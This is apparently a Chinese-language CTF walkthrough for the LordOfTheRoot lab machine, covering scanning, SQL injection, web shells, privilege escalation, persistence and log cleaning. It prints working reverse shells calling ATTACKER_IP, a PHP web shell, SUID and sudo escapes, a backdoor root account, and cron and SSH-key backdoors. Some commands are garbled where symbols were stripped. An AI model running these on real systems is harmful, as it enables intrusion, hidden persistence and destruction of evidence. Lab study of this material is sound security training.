LordOfTheRoot靶场渗透实战:从信息收集到权限提升的完整路径解析

发布时间:2026/6/26 4:09:56

LordOfTheRoot靶场渗透实战:从信息收集到权限提升的完整路径解析 1. 项目概述与核心目标最近在安全圈里LordOfTheRoot这个靶场又火了起来不少朋友在讨论它的渗透路径和那些让人拍案叫绝的提权技巧。作为一个在渗透测试领域摸爬滚打了十多年的老手我决定把这次完整的渗透过程拆解出来分享给正在学习或想挑战自己的朋友们。这不仅仅是一个“打靶”的记录更是一次关于如何像真正的攻击者一样思考、如何将零散的信息拼凑成完整攻击链路的实战演练。LordOfTheRoot是一个基于Web的CTFCapture The Flag风格靶机它模拟了一个存在多处安全缺陷的Linux服务器环境。我们的最终目标是拿到服务器的最高权限root shell并读取到隐藏在系统深处的flag文件。这个过程会完整覆盖一次标准渗透测试的核心阶段从最初的信息收集、漏洞扫描与利用到中期的权限维持与横向移动再到最后那最考验功底的权限提升。无论你是刚入门的新手还是想巩固知识体系的老兵相信这个详细的复盘都能给你带来一些启发。接下来我们就从最基础也是最重要的一步——信息收集开始。2. 靶场环境搭建与初始信息收集2.1 靶机部署与网络发现拿到LordOfTheRoot的镜像文件通常是.ova或.vmdk格式后第一步是将其导入到你的虚拟化平台比如VMware Workstation或VirtualBox。这里有个关键点务必确保靶机的网络模式设置为“桥接”或“NAT网络”。我个人的习惯是使用“桥接”模式这样靶机会获得和你物理机同网段的一个独立IP模拟得更真实。如果使用仅主机模式可能会给后续的某些扫描和利用带来不必要的麻烦。启动靶机后我们并不知道它的IP地址。这时就需要进行网络发现。最常用的工具是netdiscover或nmap的ARP扫描。打开你的Kali Linux或渗透测试专用系统在终端输入sudo netdiscover -r 192.168.1.0/24请将192.168.1.0/24替换为你实际的局域网网段。扫描结果会列出所有在线的主机及其MAC地址。寻找一个陌生的、可能是虚拟机的IP。通常LordOfTheRoot靶机会有一个比较显眼的MAC地址厂商信息如VMware或者你可以通过排除法排除掉你已知的电脑、手机、路由器IP来确定目标。注意在真实授权测试中信息收集的范围和手段必须严格控制在授权书规定的范围内。未经授权的扫描是违法行为。2.2 端口扫描与服务探测假设我们通过上述方法发现了靶机IP为192.168.1.105。接下来就要用nmap这把“瑞士军刀”来对它进行全面的端口扫描和服务识别。不要一上来就用默认的快速扫描-sS对于CTF靶机我建议进行更细致的扫描。nmap -sV -sC -O -p- 192.168.1.105让我解释一下这几个参数的意义-sV: 版本探测。它不仅告诉你端口是开放的还尽力识别出上面运行的服务及其具体版本号如Apache 2.4.29, OpenSSH 7.6p1。版本信息是寻找对应漏洞的关键。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测比如检查HTTP服务的robots.txt或者尝试识别一些服务的弱配置。-O: 操作系统探测。尝试猜测目标运行的操作系统类型和内核版本。-p-: 扫描所有65535个端口。默认的nmap只扫描最常见的1000个端口但CTF中经常会把服务藏在高端口上这个参数能确保全覆盖。扫描完成后你会得到一份详细的报告。对于LordOfTheRoot典型的初始扫描结果可能会显示开放了22端口SSH和1337端口一个未知的Web服务。这个1337端口就是我们的主要突破口。记住永远不要忽略任何一个开放的端口即使它看起来不常见。2.3 Web应用初步侦查既然发现了1337端口的Web服务我们自然要打开浏览器访问一下http://192.168.1.105:1337。映入眼帘的可能是一个简单的登录页面或者是一个包含一些提示信息的静态页面。这时我们需要像侦探一样不放过任何蛛丝马迹。查看页面源代码右键点击页面选择“查看页面源代码”。开发者可能在HTML注释里留下提示、隐藏的链接或者测试用的凭证。这是CTF和真实渗透中都非常常见的信息泄露点。目录与文件枚举使用工具如gobuster或dirb来暴力破解网站可能存在的隐藏目录和文件。gobuster dir -u http://192.168.1.105:1337 -w /usr/share/wordlists/dirb/common.txt这个命令会使用一个常见的字典去尝试访问网站下的路径比如/admin,/backup,/config,/robots.txt等。robots.txt文件尤其重要它可能直接暴露出不想被爬取的敏感目录。检查HTTP头信息使用浏览器开发者工具F12的“网络”选项卡或者命令行工具curl来查看服务器返回的HTTP响应头。curl -I http://192.168.1.105:1337关注Server服务器类型版本、X-Powered-By后端技术如PHP版本等字段这些都能为后续的漏洞利用提供线索。3. 漏洞扫描、识别与初步利用3.1 针对Web服务的深入漏洞扫描在初步侦查中我们可能通过目录枚举发现了一些有趣的路径比如/admin、/console或者通过源代码发现网站似乎使用了特定的CMS内容管理系统或框架。这时我们需要进行更针对性的漏洞扫描。对于Web应用nikto是一个很好的起点它能快速检查出大量的已知安全问题和错误配置。nikto -h http://192.168.1.105:1337nikto的输出可能会提示存在过时的软件版本、可列出的目录、或者已知的CVE漏洞。但请记住自动化工具只是辅助它会产生大量信息甚至误报需要你人工去分析和验证。如果发现网站使用了诸如WordPress、Joomla等知名CMS那么可以使用专门的扫描器比如wpscan针对WordPress。这些工具拥有针对该CMS的专属漏洞库和枚举方式效率高得多。3.2 漏洞分析与手动验证自动化扫描给了我们线索但真正的突破往往来自于手动分析和验证。假设我们在信息收集阶段发现网站有一个登录页面 (/admin/login.php)。通过枚举发现了一个疑似备份文件 (/backup.zip) 或配置文件 (/config.php.bak)。nikto提示可能存在SQL注入或命令注入点。以SQL注入为例我们需要手动测试。在登录框的用户名或密码字段尝试输入一些经典的测试载荷比如单引号‘。如果页面返回了数据库错误信息如MySQL PostgreSQL的错误那么存在SQL注入的可能性就极大。接下来就是使用更专业的工具进行利用比如sqlmap。但在此之前我强烈建议你先手动在浏览器或Burp Suite里进行初步测试理解漏洞的触发点。# 使用sqlmap进行自动化检测和利用示例 sqlmap -u “http://192.168.1.105:1337/admin/login.php” --data“usernameadminpasswordpass” --level3 --risk2 --batch参数解释-u指定目标URL--data指定POST请求的数据--level和--risk提高检测的深度和风险等级--batch让工具以非交互模式运行自动选择默认选项。实操心得在CTF中sqlmap并非万能。有时出题人会设置一些过滤或奇怪的逻辑需要你手动构造注入语句。理解SQL注入的原理联合查询、布尔盲注、时间盲注比单纯会用工具更重要。另外下载到的备份文件或源代码一定要仔细审计里面可能包含数据库连接密码、隐藏的后门页面或者逻辑漏洞。3.3 获取初始立足点Initial Foothold通过上述步骤我们假设成功利用了一个漏洞。在LordOfTheRoot的典型场景中这可能表现为通过SQL注入获取了管理员凭据成功登录后台。在后台发现了一个文件上传功能并且没有对上传文件的类型和内容进行有效过滤。通过审计源代码发现了一个存在命令注入的参数比如一个能执行ping或traceroute的功能点。无论通过哪种方式我们的目标都是要在目标服务器上执行任意命令从而获得一个反向shellreverse shell。这是将我们的控制从Web应用延伸到服务器操作系统的关键一步。获取反向Shell的经典方法 假设我们在一个文件上传点成功上传了一个恶意的PHP文件例如shell.php内容为?php system($_GET[‘cmd’]);?并且能通过Web访问到这个文件。我们在自己的攻击机上监听一个端口nc -lvnp 4444然后通过浏览器或curl访问那个上传的Web Shell并执行命令让目标服务器连接回我们 访问http://192.168.1.105:1337/uploads/shell.php?cmdnc%20192.168.1.100%204444%20-e%20/bin/bash这里192.168.1.100是你的攻击机IP4444是监听端口。注意目标服务器上必须有netcatnc命令且支持-e参数。如果不支持需要尝试其他反向Shell的Payload如bash、python、php等。当连接建立你在监听终端看到命令提示符时恭喜你你已经拿到了目标服务器的一个初始shell通常这只是一个低权限的用户如www-data即运行Web服务的用户。4. 权限提升Privilege Escalation深度剖析拿到低权限shell只是成功了一半。从低权限用户如www-data提升到root权限是整个渗透过程中技术含量最高、也最考验知识广度的一环。在LordOfTheRoot靶场中这一步通常设计得十分巧妙。4.1 内部信息收集Post-Exploitation Enumeration在尝试提权之前必须先彻底了解你当前所处的环境。盲目地运行自动化提权脚本如linpeas虽然方便但理解其背后的原理才是根本。你需要手动收集以下关键信息当前用户和权限id whoami sudo -l # 查看当前用户能以sudo方式执行哪些命令这是最直接的提权路径之一系统信息uname -a # 内核版本 cat /etc/issue 或 cat /etc/os-release # 发行版信息 dpkg -l 或 rpm -qa # 查看安装的软件包Debian/RedHat系进程与服务ps aux # 查看所有进程寻找以root身份运行的非系统关键进程 netstat -tulpn 或 ss -tulpn # 查看网络连接和监听端口 systemctl list-units --typeservice # 查看系统服务敏感文件与配置find / -perm -4000 -type f 2/dev/null # 查找SUID文件 find / -perm -2000 -type f 2/dev/null # 查找SGID文件 find / -writable -type d 2/dev/null # 查找全局可写目录 find / -user root -perm -4000 -exec ls -ldb {} \; 2/dev/null # 查找root拥有的SUID文件 cat /etc/crontab 或 crontab -l # 查看定时任务看是否有以root权限执行的脚本且我们可写用户历史与配置文件history # 当前用户命令历史 cat ~/.bash_history cat ~/.ssh/* # 查看ssh密钥 env # 查看环境变量4.2 常见提权路径分析与实战根据收集到的信息我们可以有针对性地尝试提权。LordOfTheRoot靶场通常会设置以下几种经典的提权场景之一或组合路径一利用SUID/SGID可执行文件SUIDSet User ID位设置的文件在执行时会将进程的有效用户IDEUID设置为文件所有者的ID。如果找到一个属主是root且具有SUID位的文件并且这个文件的行为可以被我们影响就可能提权。经典案例find,vim,nano,bash,cp,mv等命令如果被错误地设置了SUID位。# 例如发现 /usr/bin/find 有SUID位且属主root ls -l /usr/bin/find # 输出-rwsr-xr-x 1 root root ... /usr/bin/find # 可以利用find执行命令 /usr/bin/find . -exec /bin/bash -p \; -quit-p参数是为了让bash保留提升的权限。拿到root shell后立即执行whoami确认。路径二利用sudo权限滥用如果sudo -l显示当前用户可以以root身份无需密码运行某些命令这就是黄金通道。案例用户可以无密码运行/usr/bin/python。sudo python -c ‘import os; os.system(“/bin/bash”)’这直接会打开一个root shell。其他如vim,less,more,man等命令如果可以通过sudo执行通常都有方法逃逸到shell。路径三利用内核漏洞Kernel Exploit如果系统内核版本较老存在公开的本地提权漏洞如Dirty Cow, CVE-2016-5195我们可以上传或编译对应的漏洞利用程序exploit到目标机器并运行。操作流程在攻击机上查找对应内核版本的exploit代码如使用searchsploit。将代码上传到目标服务器可通过简单的HTTP服务器python3 -m http.server 8000和wget命令。在目标服务器上编译如果需要并运行。重要警告内核漏洞利用有风险可能导致系统崩溃蓝屏/死机。在CTF或授权测试中这通常是可以接受的但在生产环境测试中需极其谨慎最好有备份和授权。路径四利用定时任务Cron Jobs检查/etc/crontab和/var/spool/cron/crontabs/寻找以root权限周期性运行的脚本或命令。如果这个脚本我们有写入权限或者它引用了我们能控制的路径或环境变量就可以实现提权。案例发现一个定时任务* * * * * root /opt/scripts/backup.sh。 检查发现/opt/scripts/目录我们可写或者backup.sh脚本内部调用了我们可写的另一个脚本。我们就可以修改这个脚本加入反弹shell的命令等待cron执行。路径五利用环境变量劫持PATH Hijacking如果有一个SUID程序或者一个sudo允许的程序它在内部调用了系统命令如ls,cp但没有使用绝对路径我们就可以通过操纵PATH环境变量让它执行我们准备好的恶意程序。案例一个SUID程序内部调用了system(“ping -c 1 $HOST”)。我们创建一个名为ping的恶意脚本内容为/bin/bash -p。将其放在一个目录下如/tmp并赋予执行权限chmod x /tmp/ping。修改当前用户的PATH让我们自定义的目录优先被搜索export PATH/tmp:$PATH。运行那个SUID程序它就会调用我们的恶意ping从而获得一个root shell。4.3 LordOfTheRoot靶场提权实战推演在LordOfTheRoot中提权路径往往不是最直白的那种。它可能需要你将多个线索串联起来。例如你在Web目录下发现了一个数据库备份文件里面包含其他用户的哈希密码。通过破解哈希使用john或hashcat你得到了一个系统用户如tom的密码。通过SSH登录tom账户后运行sudo -l发现tom用户可以以root身份运行一个特定的、不常见的脚本。你分析这个脚本发现它存在命令注入漏洞或者它会加载一个你拥有写入权限的配置文件。通过利用这个脚本的漏洞你最终获得了root权限。这个过程考验的是你的耐心、细致和联想能力。永远不要满足于拿到一个user shell就停止要养成持续枚举的习惯。每个新发现的用户、文件、进程都可能是一条新路径的起点。5. 后渗透阶段权限维持与痕迹清理拿到root权限并读取最终的flag后一次完整的渗透测试并未结束。在真实场景中攻击者会考虑如何维持访问权限以及如何清理入侵痕迹当然在授权测试中痕迹清理需根据合同要求决定是否进行。5.1 权限维持Persistence目的是确保即使系统重启或当前连接中断我们仍然能随时回来。常见方法创建后门用户直接在/etc/passwd和/etc/shadow里添加一个具有root权限的用户或者修改现有用户的密码哈希。# 生成一个密码为‘hacked’的哈希 openssl passwd -1 -salt xyz hacked # 在/etc/passwd中添加一行需root权限 echo “backdoor:\$1\$xyz\$Qt.L.8B6oDF3JynDmEwGv0:0:0:root:/root:/bin/bash” /etc/passwd之后就可以用backdoor用户和密码hacked通过SSH登录了。安装SSH公钥将你的公钥写入root用户的authorized_keys文件。echo “你的公钥内容” /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys之后就可以无密码SSH登录root。创建定时任务Cron后门在root的crontab中添加一个定时任务定期向你的服务器发起反向连接。(crontab -l 2/dev/null; echo “*/5 * * * * /bin/bash -c ‘bash -i /dev/tcp/攻击机IP/端口 01’”) | crontab -每5分钟尝试连接一次。替换系统二进制文件将/bin/bash或/usr/bin/ssh等常用命令替换为带有后门的版本。这种方法更隐蔽但风险也更大可能影响系统稳定性。5.2 痕迹清理Log Cleaning在授权测试中是否清理痕迹需明确约定。在CTF中则无需考虑。了解方法有助于防御。主要清理点命令历史清除当前用户和root用户的命令历史。history -c # 清除当前session历史 rm ~/.bash_history # 删除历史文件 # 如果是root还要清理/root/.bash_history日志文件删除或修改记录了你IP和操作的日志。主要关注/var/log/auth.log(Debian/Ubuntu) 或/var/log/secure(RHEL/CentOS)记录认证信息。/var/log/apache2/access.log,/var/log/apache2/error.logWeb访问日志。/var/log/syslog系统通用日志。 可以使用sed或vi直接编辑这些文件删除相关行。更彻底的方法是停止日志服务后清空文件但这很可疑。重要警告在真实的渗透测试中痕迹清理必须极其谨慎并严格遵守授权范围。鲁莽的清理行为如删除整个日志文件本身就会成为一个非常明显的入侵指标IOC可能触发安全警报。专业的测试者有时会故意留下一些可控的、无关紧要的痕迹以评估蓝队的检测能力。6. 常见问题排查与实战技巧实录在实际操作LordOfTheRoot或其他靶场时你肯定会遇到各种“坑”。下面是我总结的一些常见问题及解决思路这可能是比技术步骤更有价值的经验。问题1扫描不到靶机IP。排查首先确认靶机已正常启动。检查虚拟机的网络设置是否为“桥接”或“NAT”。在靶机内运行ip a或ifconfig查看其IP。在攻击机上尝试用arp -a查看ARP表或者用ping扫描整个网段for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep “from”; done。问题2发现了漏洞但无法利用。排查最常见的原因是Payload被过滤或转义了。尝试大小写变换、编码如URL编码、Base64、使用替代的符号或函数。用Burp Suite的Repeater模块反复测试和观察响应。查看源代码或网络流量看输入被如何处理。有时需要组合多个参数或利用二次注入。问题3拿到了反向Shell但连接不稳定或立即断开。技巧使用更稳定的反向Shell Payload。nc的-e参数在某些系统上不可用。可以尝试# 使用bash bash -i /dev/tcp/ATTACKER_IP/PORT 01 # 使用python python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ATTACKER_IP”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/bash”,”-i”]);’ # 使用socat (更稳定需目标安装) socat TCP:ATTACKER_IP:PORT EXEC:‘/bin/bash’,pty,stderr,setsid,sigint,sane此外在拿到初始shell后立即升级为完全交互式TTY shell能支持tab补全、历史记录等体验好很多python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ 然后按 CtrlZ 挂起在攻击机输入stty raw -echo; fg 最后在反弹shell里输入export TERMxterm问题4提权脚本如linpeas运行没结果或报错。技巧首先检查是否成功上传且具有执行权限。尝试用curl或wget直接从你的HTTP服务器运行脚本避免上传步骤curl http://ATTACKER_IP:8000/linpeas.sh | bash如果目标环境没有curl或wget可以尝试用python、php甚至nc来传输文件。另外注意目标系统的架构x86, x64, ARM确保exploit兼容。问题5找到了SUID文件但不知道如何利用。技巧访问GTFOBins这个宝藏网站。它列出了大量可用于提权的Linux二进制文件及其利用方法。只需在网站上搜索你找到的二进制文件名如find,vim它就会给出具体的命令示例。这是每个渗透测试人员必备的书签。渗透测试是一门需要大量实践和思考的技术。LordOfTheRoot这样的靶场提供了一个绝佳的安全环境让你可以大胆尝试各种技术而不必担心法律风险。每一次失败和排错都是宝贵的经验积累。记住核心思路永远是收集信息 - 分析信息 - 利用弱点 - 扩大战果 - 达成目标。保持好奇心保持耐心你会在这一领域不断精进。

相关新闻